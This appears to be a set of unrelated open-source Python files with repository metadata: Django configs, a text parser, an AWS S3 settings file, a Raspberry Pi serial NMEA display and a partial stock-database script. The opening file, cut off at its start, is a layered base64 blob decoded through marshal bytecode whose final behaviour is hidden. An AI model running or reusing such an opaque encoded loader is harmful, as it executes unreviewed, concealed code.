tFNFZLVktVWVdDVktWTVJIRk9WS1NKUktWTTRDWktOQ1VNWUtXSVZERTRWM01JWkVGTVZUUUlWS0ZNU1NES1pWV1lUU05HRkpGRVZDV09CSkZFTUJSTEpKRUs1Q1NLNVdHUVNLUktaWUZLVUtWR0ZRVktWTEVLNUlXWVVTUUtRWUVVVktTR0JER0NWU0ZJWkhWRzNDT0pCTFdXVVNGS01ZVU1ZS1hJVlVFRVYzTUtKQkZJVlRRS0pKRENXU0RLWkNUU1VDUk5SSkVRVUtXT0JLVkNWSlZKUkpFS1laUUpaQ1ZFU0NVS1ZGRktVUlFJVjRWTVJLV0o1TFdZU1NJS1pWVVVWS1VHQTRVR1ZTRk1SQkZPM0NTSUpLR1c1Q0ZLSjVGQ01DU0lWU0U0VUxNS0pFRkNWQ0tLWkpEQU5MQks1S1dJVFNYS1ZKRVFWQ1ZKSkxWRU1ETFBKTEVLVlNQS01ZRkVTQ09JUkpFS1VSUUdGQlZNUkxFSUpHV1lWU0lLUldIQVdTU0dBWVZVVVNGTVJIRkMzQzJKSktGSVRTVktWS1RDWUtWS1ZTRTRWMlZLSkdGSVZTS0xGSkRDUkxaS1pLV0lUMlhOUldFUVZDV05SQ1ZFTUJSSU5MR1czQ09KVVlWRVVTVUtaWUZFVVJRR0ZORkVSTFVLSkxXWTJDSktGTEhBVktSS1VZV0NWS1ZNTVlFMjIyU0pSS1ZNNENaS05DVU1ZS1dJVkRFNFYzTU5SRUZNMjJLS1ZLREFPS0RLWkNXSVFTWE5SSkVFVkRMT1JDVkU2U1JHQkpFS1pDT0tGV0ZFU0NSS1JGRk1VUlFHVlFWT1ZMRUpaTFZLVVNJS1JLVVVWMlRLWlZYU1ZTVkdGSFZLTUMySkJMVk0zQ1ZLUkxFVVEyV0dCU0ZNVExNS1pIRkkyM1VKQkpEQTJaUUtKQ1hJVVNYTlJVRVNVS1dPQktWQ1ZKUk1GS1ZLWkNYS0ZXRkVVQ1VHQkZGS1VSUUlaUVZNUktHSjVKVEFVU0lKWkNGRVJLU0dBWVVHVlNGTVJCRTIzQ1dKQktHWTRDMktJWURDV1NTSVZTRTRVTE1KWkVWQ1ZDS0taSkRBTkxCSzVLV0lUU1hLVkpFUVZDVkpKTFZHVkpRUEpMRU1SU09LNVdFTVNDVUtaV0VLVVpSSVpRVk9STElJSkxXWVVTQ0tSTEhBVVNTR0ZORUdWU0ZIRklGQzNDU0pCSVZNNENWS0ZLVENVMlhLVlNGT1VMTUtKSUZJTUNLS1ZKREFSVEJLWkNVTVQyVEdCSkVRVFNFS0pDVkVNQlJJTkxFS1pDQ0pWV0ZNU0NVTlJZRlVVUlFHRk5GRVJMRUpaSVdZV1NLS1JLRTRWS1ZLVVlXQ1ZLVk1SSEZPVktTS0JLRk00Q1hLTktUQTZTV0laREU0VjNNSVpFRklWVFFJVkpUQ1JUQks1Q1dRUVNYTlJKRUVWQ1dPQkpGRU1LMklOTEVLT0tRS0ZXRkVTQ1JLWllGS1VLVkdWR0ZFUkxER0JIRUtVU0lLUktVVVZLU0dCQ1hVVVNGTlJIVkszRElKQkhFSVNTRktNWVVNWUtYSVZVRUVWM01LSkJGSVZUUUxKSkRDV1NES1pDVFNVQ1JOUkpFUVVLV09CS1ZDVkpWSlJKRUtZWlFKWkNWRVNDVUtWRkZLVVJRSVY0Vk1WTEVKNUxXWTNDSUtSTEdZUktTR0FZVUdWU0ZOUkhFMk1DV0pKS0dZVFNJS0lZV1c2S1NJVTRVNlUzTU1SRkZJVkNPSVZKVEFNRFpLSlZXSVYyUk5SSkZBVkJRSkpLVkVNQ0dNRkxFS1pDUEtNWUZFU0NPSVJKRUtVUlFHRkJWTVJMRUlKR1dZVlNJS1JXSEFXU1NHQVlWVVVTRk1SSEZDM0MySkpLRklUU1ZLVktUQ1lLVktWU0U0VjJWS0pJRklWVFFLNUpWS01EMktaREVNVFNYTlJZRVFWQ1dPQkNWR01LR01GTFVLMkNDSzVXRkVRU1VLWllGRVVSUkxKQlZNUkpaS0JJV1lVU0lLRkxIQVZLUktVMlVZVVNGTU1ZRTRSS1NKQktGS1NTVktJWUVLNktXS1ZTRTZWM01OUkVGT1ZUTUtWSkRBT0tES1pWV1lUU05HRkpGRVZDV09CSkZFTUJSTEpMRUs1Q1NLNVdHUVNLUktaWUZLVUpRR0ZRVktWTEVLNUlXWVVTUUtRWUVVVktTR0JER0NWU0ZNUkhWR01DU0pCSEVJVVNGS0lZRENRMldJVlNGVVRMTUtaRUZJM0RRTEpKREFNSzJLSkNXSVRTVE5STkVVVkNVSlpLVktWSlJNRktWS1pDT0pVWUZFVENWS1pZRlNVMkZJWlFWTVJLR0paTFdZU1NJS1pWVVVWS1VHQTRVR1ZTRk1SQkZPM0NTSlpLR1c1Q0ZLSjVGQ01DU0lWU0U0VUxNS0pFRkVWQ0tLWkpEQU5MQks1S1dJVFNYS1ZKRVFWRE1KSkxWR1ZKUVBKTEVNUlNPSzVXRU1TQ1VLWldGS1VaUklaUVZPUkxJSUpMV1lVU0NLUkxIQVdDU0dGTkVHVlNGSEZJRkMzQ1NKQklWTTRDVktFWURLVENTSVZSVEFUU0ZLSkVGSVZLS0tWSkRDMjNaS1pLV0lUMlhOUldFUVZDV05SQ1ZFTUJSSk5MR1czQ09KVVlWRVVTVUtaWUZFVVJRR0I1RkVSTFVLSkxXWTJDSktGTEhBVktSS1VZV0NWSlFNUkxWQzNDU0tCS0RBU1NWS0lZRks2U1NJVkxFNlVaUUtKRUU0UkNTSVZKREFNS0RLWkNXSVJTTk5STEVRVkRNT0JORkVNQlJMSkpFS01LUEtWV0ZVU1NVS1JIRktWS1ZHRlFWS1ZMRUpaTFZNVVNNS1ZMSEFXS1RJVkRHQ1ZTRklaSFZLM0RFSkJMR1dTU1ZLUVlEU1EyV0lWU0VFVjNNS0pERkkyM1VJVkpIVVVKUUtKQ1dJVFNSTlJKRVFWQ1VKSkxGRU1CVk1GTFZLWkNPSzVLVkVTQ1VLVllGT1UyVkdCNUZNUlNHSlpMV1lTU0lLUkxHWVJLVEdGREdDVjJGTkJCRk8zQ1NJSktGTTRDVEtJWVZVUTJXSVU0VTRWTE1MSkZGSVZDT0tWS1ZLTUxCS1ZLV0lUU1hLWkpFWVZLV09CTVZHUktHTUZMRUtUU09LNVdFVVNDV05ORkZLVkJRSEZCVk1STEVJSkxXWVVTRUtSVlhJUktTUEpJVEFVU0ZNUkhGQzNDU0pCS0ZJU1NXS0lZREtZS1hLVlNFNFYyVktKRUZJVkxRSzVKVktNRDJLWkRFTVRTWE5SRkVRVkNXTlJDVkdNS0dNRkxVSzJDQ0s1V0ZFUVNVS1pZRkdVUlJMSkJWTVJKWkpaS1dZV1NLS1JLRTRWS1ZLVVlXQ1ZLVk1SSEZPVlNTSlJLVk00Q1pLSVlHVzZLV0tWU0U2VjNNTlJFRklWVE1JVkpEQU1LTEtaVldZVFNOR0ZKRkVWQ1dPQkpWRU1CUkxKTEVLNUNTSzVXR1FTS1JLWllGS1VLVkdGUVZLMjNFSzVJV1lVU1FLUVlFVVZLU0dCTEdDVlNGSVpIVkdNQ1NKQkhFSVVTRktJWURDUTJXSVZTRU1UTE1LWkVGSTNEUUxKSkRBTUsyS1pDV0lUU1JOUk5FVVZDVUpaS1ZLVkpSTUZLVktaQ09LNUxGRVRDVktaWUZTVTJGSVpRVk1SS09KWkxXWVJTSUtaVlVVVktVR0E0VUdWU0ZNUkJGTzNDU0laS0dXNUNGS0lZWEFSQ1dJVjJGRVYzTU5CRVZDVlRRS1ZJVktNTEJLVlZXSVYyUk5SSkZBVkNXSkpMVkdWSlFQSkxFTVJTT0s1V0VNU0NVS1pXRktVWlJJWlFWT1JMSUlKTFdZVVNDS1JXRVVWS1NHRk5FR1ZTRkhGSUZDM0NTSkJJVk00Q1ZLRVlES1RDU0lWUlRBVjNMS0pHRktWVFFMRkpVS1JUQktaQ1VNVFNYTlJGRVFWVExKSktWSU1CWklOTEVLWkNHSlVZRkVTQ1VOTjJFS1VUMktFWUZFUkxFSlpJV1lVU0lLSktFVVZTU0dBMldDVjJWTVJIRk9WS1NKWktGTTRDWEtOS1RBNlNXSVpERTRWM01JWkVGSVZUUUlWSlRDUlRCSzVDV0lTU05OUkxFUVZETU9CTkZFTUJSTEpKRUtaQ09LTldGVVNTVUtSSEZLVktWR0ZRVktWTEVKWkdUQVVTTUtWTEhBV0tUSVZER0NWU0ZJWkhGTzNDS0pCTEdXU1NWS1FZREtRMldOTldFNFRKUktKSkZJVlRRS0pKREFNQlFLSkNYSVVTWE5SVUVTVUtXT0JLVkNNQlJNRktUQVpDWEtGV0ZFVUNVR0JGRktVUlFJWlFWTVJLT0o1SlRBVVNJSzVWVTRWS1RHRkRHQ1YyRk5CQkZPM0NTSUpLRk00Q1VLSVlWVVEyV0lVNFZBVUxNS0pFRkVWVFFLVkpGS05LTUtKQ1dHTUNPSVZKRVFWQ1ZKSktWRU1DVlBGTEZLWkNQS1VZRlVTQ1dOTkZGS1ZCUUhGQlZNUkxFSUpMV1lVU0dLUlZYSVJLU1BKSkdDVVNGT1JKRk8zRElKRklWTTRDVktGS1RDWUtWTk5TRk9VTE1LSklGSU1DS0tWSkRBUlRCS1pDVENUMlRHQkpFUVRTRUtKQ1ZFTUJSSU5MRUtaQ0tKVldGTVNDVU5SWUZNVVJSTEpCVk1SSlpLQklXWVVTSUtGTEhBVktUR0EyVVlVU0ZNTVlFMjIyU0pSS1ZNNENaS05DVU1ZS1dJVkRFNFYzTU5SRUZNMjJLS1ZLREFOS0RLWlZXWVRTTkdCTEVZVkRMT1JDVkU2U1JQRkpFSzVDU0s1V0dRU0tSS1pZRktVS1ZHRlFWTU1ERUs1SVdZVVNRS1JWVVVWMlRLVVlIVVZTR0laSEZPM0NHSkJMVklTU1ZLTVlVTVlLWElWVUVFVjNNS0pCRklWVFFMQkpEQ1dTREtaQ1RTVUNSTlJKRVFVS1dPQktWR01CVkpSSkVLWVpRSlpDVkVTQ1VLVkZGS1VSUk5ONFZNVkxFSjVMV1kzQ0lLUkxHWVJLU0dBWVdDVlRMTlJIRTJNS1NLSktGTTRDU0tJWURBNlNTSVYyRkVWM01OQkVWQ1ZUUUtWSVZLTUxCS1ZWV0lWMlJOUkpGQVZCUUpKS1ZFTUNHTUZMRUtNS1BLTVlGRVNDT0lSSkVLVVJRR0ZCVk1STEVJWkdXWVZTSUtSV0hBV1NTR0FZVlVVU0ZNUkhWSzNDMkpKS0ZJVFNWS1ZLVENZS1ZLVlNFNFYyV0tKR0ZLVlRRTEZKVUtSVEJLWkNVTVRTWE5SU0VRVlRMSkpLVklNQlpJTkxFS1pDQ0s1V0ZFUkNVTk4yRUtVVDJLRVlGRVJMRUpaSVdZVVNJSzVLRVVWU1NHQTJXQ1YyVk1SSEZPVktTSkJLRks0Q1hLTktUQTZTV0laREU0VjNNSVpFRklWQ09JVkpUQ1JUQks1Q1dRUVNYTlJKRUVWQ1dPQkpWRU1LMklOTEVLT0tRS0ZXRkVTQ1JLWllGS1ZDVkdWR0ZFUkxER0JIRUtVU0lLUktVVVZLU0dCS1hTVlNWTVJIVk8zRE1KQktGTTNDRktJWURLVTJXTk5XRTRUSlJLSkpGSVZUUUtKSkRBTUsyS1pDWElVU1hOUlVFU1VLV09CS1ZDVkpSTUZMREFaQ1hLRldGRVVDVUdCRkZLVVJRSVpRVk1SS09KNUpUQVVTSUpaQ0ZFUktTR0FZVUdWU0ZNUk5FMjNDV0pCS0dZNEMyS0lZRENXU1NJVlNFNFUzTUxKRkZJVkNPS1ZLVktNTEJLVktXSVRTTkdCSkVZVktXT0JNVkdSS0dNRkxFS1JTT0s1V0ZNU0NXTk5GRktWQlFHVkJWTTIzTUpaR1RDVVNLS1JWWElSS1NQSklYU1VTRk9SSkZPM0RJSkZJVk00Q1ZLRktUS1UyV0dCU0ZPVUxNS0pJRkkyMktLNUpWS01EMktaREVNVFNYTlJGRVFWQ1dPQkNWR01LR01GTFVLWkNTSlZXRk1TQ1VOUllGVVVSUUdGTkZNUkxFSlpLV1lXU0tLUktFNFZLVEtVMlVZVVNGTU1ZRTRSS1NKQktGSzRDVktOQ1VLNktXS1ZTRTZWM01LWkVGR1ZUUUlWSlRDUlRCSzVDV0lVU05OUkxFUVZETU9CTkZFTUJSTEpKRUtNS09LNVdGVVNTVUtSSEZLVTJWR1ZHRkVSTERHQkhFS1VTSUtSS1hBVktTR0FZSFNWU1ZNUkhWTzNDV0pCSldXU1NGS01ZVU1ZS1hJVlNGRVRMTUtaRUZJM0RRTEpKREFNSzJLWkNXSVRTVE5STkVVVkNVSlpLVkdWSlZKUkpFS1laUUpaQ1ZFU0NVS1ZGRlFVUlJOTjRWTVZMRUo1TFdZVlNJS1pWVVVWS1VHQTRVR1ZTRk1SQkUyTUNTSlJLR1c1Q0ZLSjVGQzZLU0lWMkZFVjNNTkJFVkNWVFFLVklUQU5LVEtaQ1dJVjJSTlJKRkFWRExKSkxWR1ZKUVBKTEVNUlNQS1ZXRVVTQ1VLWllGS1VaUklaUVZPUkxJSUpMV1lVU0NLUldFVVZLU0dGTkVHVlNGSEZJRkMzQ1NKQklWTTRDVktFWURLVENTSVZSVEFUU0ZLSkVGSVZLS0tWSkhVVUxaS1pLV0lUMlhOUldFUVZDV05SQ1ZFTUJSSk5LVEFZWlFLNVZWRVZDVUtaRkdDVVNVS0pMRktNS09JUktWSU1EUExCRUdPNTJOTlI0RElUS0VJSlJXS1JDQk81TUVRWjNYSlZFRkVZM0ZJUkFURVdDSU01M1UyUlRZR1JHVUlRVERNVkNFQzUyWk5WREhVV1NVTEVZR0lSVFlHQk1FUVozWEpWREhRTkNOSVJCR0daS0VJRjNWUzJTTlBGTkVPVlRLTUlaRkUzQ0xJWjRESVRLRUlKUldLUkNCTzVNRVFaM1hKVkRIUU5DTklSQVc2V0NJTTUzVTJSVFlHUkdVSVFURE1WQ0VDNTJZSkJUWE9US0ROQlJXS1JDQk81TUVRWjNYSlZESFFOQ05JUkJHR1pLRUlGM1dHTUxZR1JHVUlTVERNVkNFQzUyWUpCVFhPVEtHUEEyRTJSQ0NOTk5ER1VURE1WQ0VDTkNZSkJUWE9US0dQQTJFMlJDQ01OU1VJUUxYS0JEVEM1UzJKQkxIR1dTVUdWUldLUkNCUEpNRVFaM1hKVkRIUU5DTklSQkdHWktFSUYzV0dNTFlHUkdVSVNURE1WQ0VDNTJZSkJUWE9US0dQQTJFMlJDQ01OU1VJUVRLTEJFR081Mk5LTlJYQVMyUk40NlNPS0pKQkk9PT09PT0nKSkK(\x02\x00\x00\x00t\x06\x00\x00\x00base64t\t\x00\x00\x00b64decode(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x02\x00\x00\x00dgt\x08\x00\x00\x00<module>\x02\x00\x00\x00s\x02\x00\x00\x00\x0c\x01'))
| [
"noreply@github.com"
] | noreply@github.com |
cafbd0edd48a15870ef991e7abd0b9b0f1125f80 | af6d81161b66b916848f8f188c392a2cf51c95a3 | /loan_backend/urls.py | 1c12daccb300129dce015ffa0de2987ae0f1ecfe | [] | no_license | Muaaz256/loan_backend | 535814dcfa8caf3c704daea8fe6042924c80dd6f | 3e6d7994e7bd66a0f07703a4ac6b0c2d2a1ded71 | refs/heads/master | 2023-04-14T04:30:57.404524 | 2021-04-26T02:35:12 | 2021-04-26T02:35:12 | 323,278,178 | 0 | 0 | null | 2021-04-23T21:29:33 | 2020-12-21T08:42:08 | Python | UTF-8 | Python | false | false | 1,131 | py | """loan_backend URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.conf import settings
from django.urls import path, include
urlpatterns = [
path('users/', include('loan_backend.users.urls')),
path('loans/', include('loan_backend.loans.urls')),
path('auth/', include('loan_backend.user_auth.urls')),
path('dashboard/', include('loan_backend.dashboard.urls'))
]
if settings.DEBUG:
import debug_toolbar
urlpatterns = [
path('__debug__/', include(debug_toolbar.urls)),
] + urlpatterns
| [
"m.muaaz.nu@gmail.com"
] | m.muaaz.nu@gmail.com |
ac27fa5da4e1b7a0d7e02d6b67242c31366b9ff4 | ee3868586cf2a43e99e60adf9defcf71a265d357 | /hello/migrations/0004_reportcaptainpoints.py | dd2f354514f8fd34996e51e1f8ef81c355b05313 | [] | no_license | gringorichards/FFGringo | 36c6c6b14cf26b09ced277fb2a34a45d7a47f9ba | 857774eb88fd5a21caeda83928670d1bc3fee1b5 | refs/heads/master | 2020-04-20T03:02:25.192242 | 2019-03-20T08:29:33 | 2019-03-20T08:29:33 | 168,586,913 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 821 | py | # Generated by Django 2.1.1 on 2019-02-02 19:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('hello', '0003_delete_captainsreport'),
]
operations = [
migrations.CreateModel(
name='ReportCaptainPoints',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('index', models.BigIntegerField(blank=True, null=True)),
('player_name', models.TextField(blank=True, null=True)),
('total_points', models.BigIntegerField(blank=True, null=True)),
],
options={
'db_table': 'report_captain_points',
'managed': False,
},
),
]
| [
"gringo.richards@gmail.com"
] | gringo.richards@gmail.com |
3466f51db3a5294055a3655a9adc635daa3c551f | bbd3b7a3b5241656955a52f5eea9f182b8d975cb | /parse.py | 594f7124d1e08dd771af736e3dd8b9891049d713 | [] | no_license | hayasick/streamingNMF | 6c07eb4a660dcdb60f063dcd091f8e69099493d4 | eecf1a9e39d657426c60b9e02e1a6341caa4c078 | refs/heads/master | 2020-12-04T10:50:16.745872 | 2016-09-02T01:36:29 | 2016-09-02T01:36:29 | 66,433,072 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 789 | py | """ Parser for UCI bag-of-words dataset
Usage: zcat docword.$(data).txt.gz | tail -n +4 | python parse.py vocab.$(data).txt $(min_freq)
- $(data): the name of data (e.g. nips)
- $(min_freq): minimum word frequency to put into a co-occurrence matrix
"""
import sys
from collections import defaultdict
min_freq = int(sys.argv[2])
mp = dict()
for i, line in enumerate(open(sys.argv[1], 'r')):
mp[i + 1] = line.strip()
old_i = 1
word_queue = dict()
for line in sys.stdin:
i, j, k = [int(num) for num in line.split()]
if i != old_i:
for w1, f1 in word_queue.iteritems():
for w2, f2 in word_queue.iteritems():
print w1, w2, f1 * f2
print
word_queue = dict()
if k >= min_freq:
word_queue[mp[j]] = k
old_i = i
| [
"noreply@github.com"
] | noreply@github.com |
3cad6f2a85c33cca3170787570280831ebd1325a | 075d3661100eb7d247a23ca9c37f3b252f9318d9 | /test_readFromJson.py | 113c90cbcce836f17f6ab447f1a4bf909d22f5a1 | [] | no_license | phizaz/timeseries-clustering-using-color-histrogram | 60ce6c45d8cad96caee0535bd098a6c84bf65adb | 1be88df32383f819dc1af09bdd6744f8a40a27b3 | refs/heads/master | 2021-01-10T06:17:16.447599 | 2015-10-15T15:50:18 | 2015-10-15T15:50:18 | 44,231,475 | 12 | 2 | null | null | null | null | UTF-8 | Python | false | false | 79 | py | import File
histograms = File.File.open('_histograms.json')
print(histograms) | [
"the.akita.ta@gmail.com"
] | the.akita.ta@gmail.com |
46974623cf67721b116ca1a07598459250bd4126 | 98fbb63f49942daf17208ba0c0590b3d7bb43140 | /ch10_statements/try_except.py | 04c98736fbcee1402eb5e0eddda100169fc1782b | [] | no_license | dsm-kbl/python-snippets | b0b546abdfaf2a676c060cdf4afda1828ec4169e | 0ef3d48967c8334b26e1cf392cfba089beaca08a | refs/heads/master | 2023-05-14T08:29:17.138695 | 2021-06-02T12:02:23 | 2021-06-02T12:02:23 | 299,259,889 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 201 | py | from typing import Text
while True:
reply = input('Enter text:')
if reply == 'stop':
break
try:
print(int(reply) ** 2)
except:
print('Bad!' * 8)
print('Bye')
| [
"dibyam@amazon.com"
] | dibyam@amazon.com |
f40c7ccf977a432c5d2c36e256dbd98a05843a8e | 9686eedc019502beed8268c0a87d6ecff09e953f | /src/aws/conf.py | 116f70c7204ed0d8ee8c7a56991bd10cb19792fe | [] | no_license | gabaldo/django_s3 | 62aee7461002888dde8ff3c3761a080b1fd1843e | f8a6ade850c6133aef3993c921bba561ef719f6d | refs/heads/master | 2021-08-17T15:25:14.733703 | 2018-11-28T01:05:20 | 2018-11-28T01:05:20 | 159,425,496 | 0 | 0 | null | 2021-06-10T21:01:43 | 2018-11-28T01:36:48 | JavaScript | UTF-8 | Python | false | false | 1,050 | py | import datetime
from decouple import config
AWS_ACCESS_KEY_ID = config('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = config('AWS_SECRET_ACCESS_KEY')
AWS_FILE_EXPIRE = 200
AWS_PRELOAD_METADATA = True
AWS_QUERYSTRING_AUTH = False
DEFAULT_FILE_STORAGE = 'src.aws.utils.MediaRootS3BotoStorage'
STATICFILES_STORAGE = 'src.aws.utils.StaticRootS3BotoStorage'
AWS_STORAGE_BUCKET_NAME = config('AWS_STORAGE_BUCKET_NAME')
S3DIRECT_REGION = 'us-east-1' # Leste dos EUA (Norte da Virgínia)
#S3DIRECT_REGION = 'us-west-2' # Oeste dos EUA (Oregon)
S3_URL = '//%s.s3.amazonaws.com/' % AWS_STORAGE_BUCKET_NAME
MEDIA_URL = '//%s.s3.amazonaws.com/media/' % AWS_STORAGE_BUCKET_NAME
MEDIA_ROOT = MEDIA_URL
STATIC_URL = S3_URL + 'static/'
ADMIN_MEDIA_PREFIX = STATIC_URL + 'admin/'
two_months = datetime.timedelta(days=61)
date_two_months_later = datetime.date.today() + two_months
expires = date_two_months_later.strftime("%A, %d %B %Y 20:00:00 GMT")
AWS_HEADERS = {
'Expires': expires,
'Cache-Control': 'max-age=%d' % (int(two_months.total_seconds()), ),
} | [
"gabaldo@gmail.com"
] | gabaldo@gmail.com |
5fa1263b87c8a58f0a3c3222561463850690d908 | e78a642ce007b80ad59289a7216d4d821b3f033d | /ser3.py | 48507c2c72146671f5308b69819663c513dc05d8 | [] | no_license | eier7/ser3 | 9dd7098f06739c56bdb02c8bdf53f0d0fe0bd1b0 | 9839e952e04865cf83d6aa6774f7bf25b29379ce | refs/heads/master | 2020-05-17T08:35:46.878216 | 2016-12-20T14:29:07 | 2016-12-20T14:29:07 | 34,012,212 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,741 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import curses
import time
import pynmea2
import serial
import re
from queue import Queue
from threading import Thread
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setup(17, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(22, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(23, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(27, GPIO.IN, pull_up_down=GPIO.PUD_UP)
parsednmea = Queue(maxsize=0)
serialsettings= Queue(maxsize=0)
gpioq = Queue(maxsize=0)
def GUI():
screen = curses.initscr()
curses.noecho()
curses.curs_set(0)
screen.nodelay(1)
curses.start_color()
menu = [
['USB0', 'USB1', 'USB2', 'USB3'],
['2400', '4800', '9600', '19200', '38400', '57600', '115200'],
['<>'],
]
serialport = 0
baud = 1
sentences = []
scroll = 0
menucursor = [0,0]
height, width = screen.getmaxyx()
curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLACK)#plain
curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) #selected
curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_GREEN) #cursor
curses.init_pair(4, curses.COLOR_WHITE, curses.COLOR_RED) #alarm
curses.init_pair(5, curses.COLOR_RED, curses.COLOR_WHITE) #alarm
serialsettings.put([menu[0][serialport]+","+menu[1][baud]]) #start serial port
serialerror = False
class sentence:
def __init__(self, msg, txt):
self.msgtype = msg
self.msg = txt
def menucontrol(xmenu, ymenu, movement, serialport, baud, scroll):
if movement == "left":
xmenu = xmenu-1
xmenu = xmenu % len(menu)
if xmenu == 0:
ymenu = serialport
elif xmenu == 1:
ymenu = baud
if movement == "down":
ymenu = ymenu+1
if xmenu == 0:
ymenu = min(len(menu[0])-1, ymenu)
serialport = ymenu
serialsettings.put([menu[0][serialport]+","+menu[1][baud]])
elif xmenu == 1:
ymenu = min(len(menu[1])-1, ymenu)
baud = ymenu
serialsettings.put([menu[0][serialport]+","+menu[1][baud]])
elif xmenu == 2:
scroll=scroll+1
if movement == "up":
ymenu = ymenu-1
if xmenu == 0:
ymenu = max(0, ymenu)
serialport = ymenu
serialsettings.put([menu[0][serialport]+","+menu[1][baud]])
elif xmenu == 1:
ymenu = max(0, ymenu)
baud = ymenu
serialsettings.put([menu[0][serialport]+","+menu[1][baud]])
elif xmenu == 2:
scroll=max(scroll-1, 0)
if movement == "right":
xmenu = xmenu+1
xmenu = xmenu % len(menu)
if xmenu == 0:
ymenu = serialport
elif xmenu == 1:
ymenu = baud
return xmenu, ymenu, serialport, baud, scroll
while True:
screen.erase()
#########Settings menu
event = screen.getch()
if event == ord("q"): break
if event == ord("h"): menucursor[0], menucursor[1], serialport, baud, scroll = menucontrol(menucursor[0], menucursor[1], "left", serialport, baud, scroll)
if event == ord("j"): menucursor[0], menucursor[1], serialport, baud, scroll = menucontrol(menucursor[0], menucursor[1], "down", serialport, baud, scroll)
if event == ord("k"): menucursor[0], menucursor[1], serialport, baud, scroll = menucontrol(menucursor[0], menucursor[1], "up", serialport, baud, scroll)
if event == ord("l"): menucursor[0], menucursor[1], serialport, baud, scroll = menucontrol(menucursor[0], menucursor[1], "right", serialport, baud, scroll)
while not gpioq.empty():
gpiodir = gpioq.get()
if gpiodir == "clear":
sentences = []
else:
menucursor[0], menucursor[1], serialport, baud, scroll = menucontrol(menucursor[0], menucursor[1], gpiodir, serialport, baud, scroll)
for m in range(len(menu)):
if menucursor[0] == 0:
screen.addstr(height-1, 19, menu[0][serialport], curses.color_pair(3))
screen.addstr(height-1, 24, menu[1][baud], curses.color_pair(2))
screen.addstr(height-1, 31, menu[2][0], curses.color_pair(2))
elif menucursor[0] == 1:
screen.addstr(height-1, 19, menu[0][serialport], curses.color_pair(2))
screen.addstr(height-1, 24, menu[1][baud], curses.color_pair(3))
screen.addstr(height-1, 31, menu[2][0], curses.color_pair(2))
elif menucursor[0] == 2:
screen.addstr(height-1, 19, menu[0][serialport], curses.color_pair(2))
screen.addstr(height-1, 24, menu[1][baud], curses.color_pair(2))
screen.addstr(height-1, 31, menu[2][0], curses.color_pair(3))
if serialerror:
if int(time.time()) % 2 == 0:
screen.addstr(height-1, 0, "SERIAL PORT ERROR", curses.color_pair(4))
else:
screen.addstr(height-1, 0, "SERIAL PORT ERROR", curses.color_pair(5))
screen.refresh()
######data display
while not parsednmea.empty():
found = False
msg = parsednmea.get()
if msg == "ERROR":
serialerror = True
elif msg == "OK":
serialerror = False
else:
try:
msgtype = re.match("[!|\$]..(\w*),", msg).group(1)
except:
msgtype = "err"
for item in sentences:
if item.msgtype == msgtype:
item.msg = msg
found = True
if not found and msgtype != 'err':
sentences.append(sentence(msgtype, msg))
for s in range(min(len(sentences), 13)):
screen.addstr(s, 0, str(sentences[s].msg).replace("\n", "")[scroll:][:40])
screen.refresh()
time.sleep(0.2)
curses.endwin()
exit()
##serial handling
def NMEA():
serinit = False
port = ""
baud = 1
data = ""
while(True):
while not serialsettings.empty():
tset = serialsettings.get()
for s in tset:
s = s.split(",")
port = "/dev/tty"+s[0]
baud = s[1]
try:
ser = serial.Serial(port, baudrate=baud, timeout=.1)
serinit = True
parsednmea.put("OK")
except:
serinit = False
parsednmea.put("ERROR")
if serinit:
data = ser.readline().decode("utf-8", "ignore")
parsednmea.put(data)
else:
time.sleep(0.08)
##GPIO buttons
def GPIObuttons():
while(True):
if not GPIO.input(27):
gpioq.put("right")
time.sleep(.1)
if not GPIO.input(22):
gpioq.put("down")
time.sleep(.1)
if not GPIO.input(23):
gpioq.put("up")
time.sleep(.1)
if not GPIO.input(17):
gpioq.put("clear")
time.sleep(.1)
else:
time.sleep(.1)
##########################################
##########################################
tgui = Thread(target=GUI)
tnmea = Thread(target=NMEA)
tGPIO = Thread(target=GPIObuttons)
tnmea.setDaemon(True)
tgui.start()
tnmea.start()
tGPIO.start()
| [
"eivind.ervik@gmail.com"
] | eivind.ervik@gmail.com |
8faec69b56e1872e9a53f5c8c6245995b3b322d7 | b281ceec05bb3a7d7fa9f0ce908dfd291227f120 | /WP2020/StockProject/Web-Scrap/getNUpdateStockPriceDB.py | 30f4e650689f72e141225aacdc98c3d78d3599c9 | [] | no_license | chomskim/Web-Programming | 2ccbefc2e365d5cd78d28d9e63c5cd4971957e73 | 964671facf3956f80f37b9c0225c86d832457bdd | refs/heads/master | 2021-06-10T06:16:12.461131 | 2021-06-03T11:02:26 | 2021-06-03T11:02:26 | 160,657,276 | 5 | 21 | null | null | null | null | UTF-8 | Python | false | false | 3,172 | py | # -*- coding: utf-8 -*-
'''
Created on 2019. 1. 10.
@author: cskim
'''
import numpy as np
import pandas as pd
from datetime import datetime
import mysql.connector
import urllib.request
import xml.etree.ElementTree as ET
import dbconfig
XMLDIR = 'C:\\Temp\\xml-all'
def connect():
return mysql.connector.connect(
host=dbconfig.db_host,
user=dbconfig.db_user,
password=dbconfig.db_password,
database=dbconfig.db_name)
conn = connect()
cursor = conn.cursor()
code_list = []
